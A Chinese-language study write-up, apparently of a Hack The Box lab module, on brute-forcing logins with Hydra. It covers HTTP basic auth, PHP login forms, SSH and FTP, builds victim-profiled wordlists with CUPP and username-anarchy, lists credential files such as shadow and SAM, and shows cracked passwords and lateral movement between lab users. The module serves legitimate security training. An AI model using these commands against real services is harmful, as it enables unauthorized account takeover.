暴力攻击是一种试图通过自动探测来猜测密码或密钥的方法。暴力攻击的一个例子是密码破解。密码通常不会以明文形式存储在系统中,而是作为哈希值存储。

命令 描述
hydra -h 九头蛇帮助
hydra -C wordlist.txt SERVER_IP -s PORT http-get / 基本身份验证暴力破解 - 组合词表
hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get / 基本身份验证暴力破解 - 用户/传递单词列表
hydra -l admin -P wordlist.txt -f SERVER_IP -s PORT http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'" 登录表单暴力破解 - 静态用户,传递单词列表
hydra -L bill.txt -P william.txt -u -f ssh://SERVER_IP:PORT -t 4 SSH 暴力破解 - 用户/传递词表
hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1 FTP 暴力破解 - 静态用户,传递单词列表

单词列表

命令 描述
/opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 默认密码单词列表
/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt 常用密码单词表
/opt/useful/SecLists/Usernames/Names/names.txt 常用名称词表

杂项

命令 描述
cupp -i 创建自定义密码单词表
sed -ri '/^.{,7}$/d' william.txt 删除短于 8 的密码
sed -ri '/[!-/:-@\[-{-~]+/!d’ william.txt` 删除没有特殊字符的密码
sed -ri '/[0-9]+/!d' william.txt 删除没有数字的密码
./username-anarchy Bill Gates > bill.txt 生成用户名列表
ssh b.gates@SERVER_IP -p PORT 通过 SSH 到服务器
ftp 127.0.0.1 FTP 到服务器
su - user 切换到用户

以下是可以包含哈希密码的文件的小列表:

Windows Linux
unattend.xml shadow
sysprep.inf shadow.bak
SAM password

由于密码不能从哈希值向后计算,因此暴力方法确定属于随机选择的密码的哈希值,直到哈希值与存储的哈希值匹配为止。在这种情况下,会找到密码。这种方法也称为离线暴力强制。本模块将侧重于在线暴力,并明确处理网站的登录表单。 在大多数网站上,总会有一个供管理员、作者和用户登录的区域。此外,用户名在网页上通常是可识别的,而复杂的密码很少被使用,因为它们很难记住。因此,如果我们不能确定任何初始立足点,那么在适当的枚举后使用在线暴力强制方法是值得的。 有许多工具和方法可用于强制登录,如:

  • Ncrack
  • wfuzz
  • medusa
  • patator
  • hydra
  • and others.

在本模块中,我们将主要使用hydra,因为它是可用的最常见和最可靠的工具之一。 将讨论以下主题:

  • Brute forcing basic HTTP auth
  • Brute force for default passwords
  • Brute forcing login forms
  • Brute force usernames
  • Creating personalized username and password wordlists based on our target
  • Brute forcing service logins, such as FTP and SSH

Password Attacks

HTTP规范提供了两种并行身份验证机制:

  • Basic HTTP AUTH:基本HTTP AUTH用于向HTTP服务器验证用户。
  • Basic HTTP AUTH:代理服务器身份验证用于向中间代理服务器验证用户。

Password Attack Type

Dictionary attack
Brute force
Traffic interception
Man In the Middle
Key Logging
Social engineering

字典攻击 蛮力 交通拦截 中间人 密钥日志记录 社会工程

Hydra

Hydra是Login Brute Forcing的一个方便工具,因为它涵盖了各种各样的攻击和服务,并且与其他攻击和服务相比速度相对较快。它可以测试任何一对证书,并验证它们是否成功,但数量巨大,速度非常快。 如果我们想在自己的机器上使用它,我们可以使用“apt-install-hydra-y”,也可以从其Github存储库下载并使用它, 我们可以查看hydra提供的选项,并查看其标志和如何使用的示例:

Tanin@htb[/htb]$ hydra -h

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Options:
<...SNIP...>
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -u        loop around users, not passwords (effective! implied with -x)
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)

<...SNIP...>

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh
Tanin@htb[/htb]$ hydra -C /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 178.211.23.155 -s 31099 http-get /

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking http-get://178.211.23.155:31099/
[31099][http-get] host: 178.211.23.155   login: test   password: testingpw
[STATUS] attack finished for 178.211.23.155 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Options Description
-C ftp-betterdefaultpasslist.txt Combined Credentials Wordlist
SERVER_IP Target IP
-s PORT Target Port
http-get Request Method
/ Target Path

practice

target:46.101.95.166:30237

image-20230710104911976

主要是使用-C

Username Brute Force

我们现在知道了hydra的基本用法,所以让我们尝试另一个通过使用用户名和密码的单独单词列表来攻击HTTP基本身份验证的例子。

Wordlists

最常用的密码单词列表之一是rockyou.txt,它有1400多万个唯一密码,按常见程度排序,这些密码是从网上泄露的密码和用户名数据库中收集的。基本上,除非密码真的是唯一的,否则这个单词列表很可能会包含它。Rockyou.txt已经存在于我们的Pwnbox中。如果我们在本地虚拟机上使用hydra,我们可以从 Hashcat GitHub Repository存储库下载这个单词列表。

Username/Password Attack

如果凭据在一个列表中,则Hydra至少需要3个特定标志才能对web服务执行暴力攻击: 资格证书 目标主机 目标路径 凭据也可以由用户名和密码分隔。我们可以将-L标志用于用户名单词列表,将-P标志用于密码单词列表。由于我们不想强行将所有用户名与列表中的密码相结合,我们可以通过指定标志-f来告诉hydra在第一次成功登录后停止。

提示:我们将添加“-u”标志,以便它在每个密码上尝试所有用户,而不是在一个用户上尝试所有1400万个密码,然后再转到下一个。

Tanin@htb[/htb]$ hydra -L /opt/useful/SecLists/Usernames/Names/names.txt -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -u -f 178.35.49.134 -s 32901 http-get /

[DATA] max 16 tasks per 1 server, overall 16 tasks, 243854766 login tries (l:17/p:14344398), ~15240923 tries per task
[DATA] attacking http-get://178.35.49.134:32901/
[STATUS] 9105.00 tries/min, 9105 tries in 00:01h, 243845661 to do in 446:22h, 16 active

<...SNIP...>
[32901][http-get] host: 178.35.49.134   login: thomas   password: thomas1

[STATUS] attack finished for SERVER_IP (valid pair found)
1 of 1 target successfully completed, 1 valid password found

Username Brute Force

如果我们只是粗暴地使用用户名或密码,我们可以分配一个具有相同标志但小写的静态用户名或密码。例如,我们可以通过添加-l test,然后添加一个带有-P rockyou.txt的密码单词列表,对测试用户强制执行密码。 由于我们已经在上一节中找到了密码,我们可以使用“-p”标志静态地分配它,并且仅对可能使用此密码的用户名使用暴力。

Tanin@htb[/htb]$ hydra -L /opt/useful/SecLists/Usernames/Names/usernames.txt -p amormio -u -f 178.35.49.134 -s 32901 http-get /

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 17 login tries (l:17/p:1), ~2 tries per task
[DATA] attacking http-get://178.35.49.134:32901/

[32901][http-get] host: 178.35.49.134   login: abbas   password: amormio
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)

practice

target:46.101.95.166:30237

image-20230710114148111

这里要注意语句顺序问题

Hydra Modules

由于我们在渗透测试期间在Web服务器上为管理员找到了一个登录表单,因此这是一个非常有趣的组件,我们应该尝试在不产生太多网络流量的情况下访问它。最后,使用管理面板,我们可以管理服务器、它们的服务和配置。许多管理面板还实现了 b374k shell 等功能或元素,这些功能或元素可能允许我们直接执行操作系统命令。

Brute Forcing Forms

Hydra提供了许多不同类型的请求,我们可以使用这些请求来强制执行不同的服务。如果我们使用hydra-h,我们应该能够列出支持的服务:

Tanin@htb[/htb]$ hydra -h | grep "Supported services" | tr ":" "\n" | tr " " "\n" | column -e

Supported			        ldap3[-{cram|digest}md5][s]	rsh
services			        memcached					rtsp
                            mongodb						s7-300
adam6500			        mssql						sip
asterisk			        mysql						smb
cisco				        nntp						smtp[s]
cisco-enable		        oracle-listener				smtp-enum
cvs				            oracle-sid					snmp
firebird			        pcanywhere					socks5
ftp[s]				        pcnfs						ssh
http[s]-{head|get|post}		pop3[s]						sshkey
http[s]-{get|post}-form		postgres					svn
http-proxy		        	radmin2						teamspeak
http-proxy-urlenum		    rdp				  		    telnet[s]
icq				            redis						vmauthd
imap[s]		        		rexec						vnc
irc				            rlogin						xmpp
ldap2[s]		        	rpcap

在这种情况下,只有两种类型的http模块对我们感兴趣:

  1. http[s]-{head|get|post}
  2. http[s]-post-form

第一个模块用于基本的HTTP身份验证,而第二个模块用于登录表单,如.php或.aspx等。 由于文件扩展名是“.php”,我们应该尝试http[s]-post-form模块。为了决定我们需要哪个模块,我们必须确定web应用程序是使用GET还是POST表单。我们可以通过尝试登录并关注URL来测试它。如果我们识别出我们的任何输入都被粘贴到了URL中,那么web应用程序将使用GET表单。否则,它将使用POST表单。

要了解如何使用http post表单模块,我们可以使用“-U”标志列出它所需的参数和使用示例:

Tanin@htb[/htb]$ hydra http-post-form -U

<...SNIP...>
Syntax:   <url>:<form parameters>:<condition string>[:<optional>[:<optional>]
First is the page on the server to GET or POST to (URL).
Second is the POST/GET variables ...SNIP... usernames and passwords being replaced in the
 "^USER^" and "^PASS^" placeholders
The third is the string that it checks for an *invalid* login (by default)
 Invalid condition login check can be preceded by "F=", successful condition
 login check must be preceded by "S=".

<...SNIP...>

Examples:
 "/login.php:user=^USER^&pass=^PASS^:incorrect"

总之,我们需要提供三个参数,用:分隔,如下所示:

  1. URL path, which holds the login form
  2. POST parameters for username/password
  3. A failed/success login string, which lets hydra recognize whether the login attempt was successful or not

如果我们提供一个失败的字符串,它将一直查找,直到在响应中找不到该字符串为止。另一种方法是,如果我们提供一个成功字符串,它将一直查找,直到在响应中找到该字符串。一个更好的策略是从登录页面的HTML源中选择一些内容。 我们必须选择的内容应该不太可能在登录后出现,比如登录按钮或密码字段。

  <form name='login' autocomplete='off' class='form' action='' method='post'>

我们在几个地方看到它作为标题/标题,我们在上面显示的HTML表单中找到了我们的按钮。我们不必提供整个字符串,所以我们将使用<form name=’login’,它应该足够明显,并且在成功登录后可能不存在。 因此,http post表单的语法应该如下所示:

"/login.php:[user parameter]=^USER^&[password parameter]=^PASS^:F=<form name='login'"

Determine Login Parameters

如果我们使用Burp Suite拦截登录请求,或者仔细查看管理面板的源代码,我们可以很容易地找到POST参数。

Login Form Attacks

在我们的情况下,我们没有任何关于现有用户名或密码的信息。由于我们列举了所有可用的端口,但无法确定任何有用的信息,因此我们可以选择结合http post-form模块测试web应用程序表单的默认凭据。

Default Credentials

让我们尝试使用带有默认凭据的ftp-betterdefaultpasslist.txt列表来测试其中一个帐户是否已在web应用程序中注册。

Tanin@htb[/htb]$ hydra -C /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 178.35.49.134 -s 32901 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"

Hydra v9.1 (c) d020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking http-post-form://178.35.49.134:32901/login.php:username=^USER^&password=^PASS^:F=<form name='login'
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)

Password Wordlist

Tanin@htb[/htb]$ hydra -l admin -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -f 178.35.49.134 -s 32901 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://178.35.49.134:32901/login.php:username=^USER^&password=^PASS^:F=<form name='login'

[PORT][http-post-form] host: 178.35.49.134   login: admin   password: password123
[STATUS] attack finished for 178.35.49.134 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)

practice

target : 46.101.95.166:30237

image-20230711095122914

我们确定登录需要的参数:username password

然后使用hydra:

image-20230711100351354

hydra -l admin -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -f 94.237.54.69 -s 44601 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'" 

验证一下:登陆成功

image-20230711100520203

Personalized Wordlists

CUPP

我们通过指定-i参数以交互模式运行它,并回答一系列问题可以得到一个个性化密码本:

Tanin@htb[/htb]$ cupp -i

___________
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: William
> Surname: Gates
> Nickname: Bill
> Birthdate (DDMMYYYY): 28101955

> Partners) name: Melinda
> Partners) nickname: Ann
> Partners) birthdate (DDMMYYYY): 15081964

> Child's name: Jennifer
> Child's nickname: Jenn
> Child's birthdate (DDMMYYYY): 26041996

> Pet's name: Nila
> Company name: Microsoft

> Do you want to add some key words about the victim? Y/[N]: Phoebe,Rory
> Do you want to add special chars at the end of words? Y/[N]: y
> Do you want to add some random numbers at the end of words? Y/[N]:y
> Leet mode? (i.e. leet = 1337) Y/[N]: y

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to william.txt, counting 43368 words.
[+] Now load your pistolero with william.txt and shoot! Good luck!

我们生成的个性化密码单词列表大约有43000行。由于我们在登录时看到了密码策略,我们知道密码必须满足以下条件: 8个字符或更长 包含特殊字符 包含数字 因此,我们可以从我们的单词列表中删除任何不符合这些条件的密码。一些工具会将密码策略转换为Hashcat或John规则,但hydra不支持过滤密码的规则。因此,我们只需使用以下命令即可完成此操作:

Password Policy

我们生成的个性化密码单词列表大约有43000行。由于我们在登录时看到了密码策略,我们知道密码必须满足以下条件: 8个字符或更长 包含特殊字符 包含数字 因此,我们可以从我们的单词列表中删除任何不符合这些条件的密码。一些工具会将密码策略转换为Hashcat或John规则,但hydra不支持过滤密码的规则。因此,我们只需使用以下命令即可完成此操作:

sed -ri '/^.{,7}$/d' william.txt            # remove shorter than 8
sed -ri '/[!-/:-@\[-`\{-~]+/!d' william.txt # remove no special chars
sed -ri '/[0-9]+/!d' william.txt            # remove no numbers

Mangling

仍然可以为该列表中的每个单词创建许多排列。我们永远不知道我们的目标在创建密码时是怎么想的,因此我们最安全的选择是添加尽可能多的更改和排列,并注意到这当然需要更多的时间来使用暴力。 许多伟大的工具可以快速轻松地进行单词处理和大小写排列,比如 rsmanglerThe Mentalist。这些工具还有许多其他选项,可以使任何小的单词列表达到数百万行。我们应该记住这些工具,因为我们可能在其他模块和情况下需要它们。 作为一个起点,我们将坚持我们迄今为止生成的单词列表,不对其进行任何篡改。如果我们的单词列表没有成功登录,我们将返回这些工具并进行一些篡改,以增加我们猜测密码的机会。

Custom Username Wordlist

我们还应该考虑根据此人的可用详细信息创建一个个性化的用户名单词列表。例如,此人的用户名可以是b.gates或gates或bill,以及许多其他可能的变体。有几种方法可以创建潜在用户名列表,其中最基本的方法就是手动编写。 我们可以使用的一个工具是 Username Anarchy,我们可以从GitHub克隆它,如下所示:

该工具有许多用例,我们可以利用这些用例来创建潜在用户名的高级列表。然而,对于我们的简单用例,我们可以简单地运行它,并提供名字/姓氏作为参数,然后将输出转发到一个文件中,如下所示:

./username-anarchy Bill Gates > bill.txt

我们最终应该准备好用户名和密码的单词列表,这样我们就可以攻击SSH服务器了。

Service Authentication Brute Forcing

SSH Attack

用于攻击登录服务的命令相当简单。我们只需提供用户名/密码单词列表,并添加service://SERVER_IP:PORT最后。像往常一样,我们将添加-u-f标志。最后,当我们第一次运行该命令时,hydra将建议我们为最大并行尝试次数添加-t 4标志,因为许多SSH限制了并行连接的数量并丢弃其他连接,导致我们的许多尝试被丢弃。我们的最终命令如下:

Tanin@htb[/htb]$ hydra -L bill.txt -P william.txt -u -f ssh://178.35.49.134:22 -t 4

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 157116 login tries (l:12/p:13093), ~39279 tries per task
[DATA] attacking ssh://178.35.49.134:22/
[STATUS] 77.00 tries/min, 77 tries in 00:01h, 157039 to do in 33:60h, 4 active
[PORT][ssh] host: 178.35.49.134   login: b.gates   password: ...SNIP...
[STATUS] attack finished for 178.35.49.134 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
Tanin@htb[/htb]$ ssh b.gates@178.35.49.134 -p 22

b.gates@SERVER_IP's password: ********

b.gates@bruteforcing:~$ whoami
b.gates

FTP Brute Forcing

一旦我们进入,我们就可以查看系统上的其他用户

b.gates@bruteforcing:~$ ls /home

b.gates  m.gates

我们注意到另一个用户m.gates。我们在本地侦察中也注意到端口21在本地打开,这表明FTP必须可用:

b.gates@bruteforcing:~$ netstat -antp | grep -i list

(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp        0      0 127.0.0.1:21            0.0.0.0:*               LISTEN      - 
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -   

接下来,我们现在可以尝试强制m.gates用户进行FTP登录。

注1:有时管理员会使用不同的工具测试他们的安全措施和策略。在这种情况下,该web服务器的管理员一直安装着“hydra”。我们可以从中受益,并通过本地或远程攻击FTP服务来对抗本地系统。

注2:rockyou-10.txt是“rockyu.txt”的较短版本,包含14344391个密码。

因此,与我们攻击SSH服务的方式类似,我们可以对FTP进行类似的攻击:

b.gates@bruteforcing:~$ hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 92 login tries (l:1/p:92), ~6 tries per task
[DATA] attacking ftp://127.0.0.1:21/

[21][ftp] host: 127.0.0.1   login: m.gates   password: <...SNIP...>
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)

要切换到该用户:

b.gates@bruteforcing:~$ su - m.gates

practice1.1

target:94.237.55.13:34133

使用您在本节中学到的知识,尝试在上面显示的目标服务器中暴力破解用户“b.gates”的SSH登录。然后尝试通过 SSH 连接到服务器。

先用cupp做一个字典:大体按照学院的示例中的内容填写

image-20230711111612191

密码策略:

sed -ri '/^.{,7}$/d' william.txt            # remove shorter than 8
sed -ri '/[!-/:-@\[-`\{-~]+/!d' william.txt # remove no special chars
sed -ri '/[0-9]+/!d' william.txt            # remove no numbers

这里他给了用户名,静态分配用户名即可就不必生成用户名字典了

hydra -l b.gates -P william.txt -u -f ssh://94.237.55.13:34133

image-20230711112243016

然后到home中拿到flag

practice1.2

ssh登录后,尝试强制其他用户进行FTP登录。您应该在它们的主目录中找到另一个flag.

我们在home文件中知道另一个用户是m.gates,并且在本用户目录下给了一个rockyou文本,并且服务器安装了hydra那么按照示例中的操作打就可以了;

image-20230711112849950

image-20230711113652067

Skills Assessment — website

我们的客户要求对其网络上的另一台主机进行额外的黑匣子渗透测试。经过主机和端口扫描,我们发现只有一个TCP端口打开。由于我们已经在另一台主机上发现了弱凭据,因此新主机可能容易受到相同漏洞类型的攻击。在我们的参与过程中,我们也应该考虑不同的单词表。

target : 94.237.59.206:39321

当你试图访问上面显示的IP时,你将没有访问它的授权。强行进行身份验证并检索flag。

一旦你访问了登录页面,你的任务就是强行进入这个页面。里面藏着什么flag?

根据提示该主机有弱凭据,并且让考虑不同的单词表,应该就是说使用不同的Default-Credentials 字典爆破:

这里使用了尝试使用了一下简写:

hydra -C ftp-betterdefaultpasslist.txt http-get://94.237.59.206:39321

image-20230711125048090

登录网页得到第一个flag,并且又可以进入这个login页面

image-20230711125518477

按照之前的做法,先去看看登录时发送的参数以及传参方式,这里跟示例中一样是post传参并且参数为user和pass,然后失败的判定字符串为这个login表单,这里我们截取一部分就好了:

form name='log-in'

在示例中两个页面的用户名是一样的,这里是不是也一样呢?毕竟只是作为一个工具练习,没必要用两个字典跑很久,如果不行就只能找用户名字典+rockyou了

hydra -l user -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt 94.237.59.206 -s 39321 http-post-form "/admin_login.php:user=^USER^&pass=^PASS^:F=form name='log-in'"

这里尝试简写但是失败了,只能老老实实来,然后也要注意语序

image-20230711134140132

这里挺离谱的,我直接在浏览器里F12查看post包,然后就顺带在里面看源码,结果发现F12里面的的标签form name='log-in'是双引号,导致爆破半天密码不对,很无语

Skills Assessment — Service Login

我们得到了一个在线学院的IP地址,但没有关于他们网站的进一步信息。作为进行渗透测试的第一步,我们必须确定网站和其他登录服务中是否使用了任何弱凭据。 不仅仅关注默认/通用密码。使用本模块中学习的技能收集有关我们确定的员工的信息,以创建自定义单词列表来攻击他们的帐户。 使用我们在模块部分介绍的技能攻击web应用程序并提交两个标志,然后提交它们以完成本模块。

target:83.136.255.143:58141

由于您现在已经掌握了上一个技能评估问题中员工的姓名,请尝试收集他们的基本信息,并生成符合密码策略的自定义密码单词列表。还可以使用“用户名生成器”为员工生成潜在用户名。最后,尝试强行使用上面显示的SSH服务器来获取标志。

一旦您进入,您应该会发现服务器中存在另一个用户。尝试强行登录,并获取他们的标志。

这里看描述应该是进行后半段的复现,这里只有一个名字是Harry potter,先try:

cupp -i 先创建一个只有名字为信息的密码本

使用anarchy生成用户名:./username-anarchy Harry Potter > harry.txt

然后用生成的两个文本进行爆破,根据题目应该是使用ssh:

hydra -L username-anarchy/harry.txt -P harry.txt -u -f ssh://83.136.255.143:58141 -t 4

image-20230711170429477

还是跑了挺长时间的,这里ssh连接要使用-p 指定端口,不然会显示权限被拒绝,可能是默认访问的端口没给权限。

ssh连接后就更之前示例中的联系一毛一样了,给了个rockyou然后通过ftp横向移动:

image-20230711171301439

hydra -l g.potter -P rockyou-30.txt -u -f ftp://127.0.0.1

image-20230711173037437

ok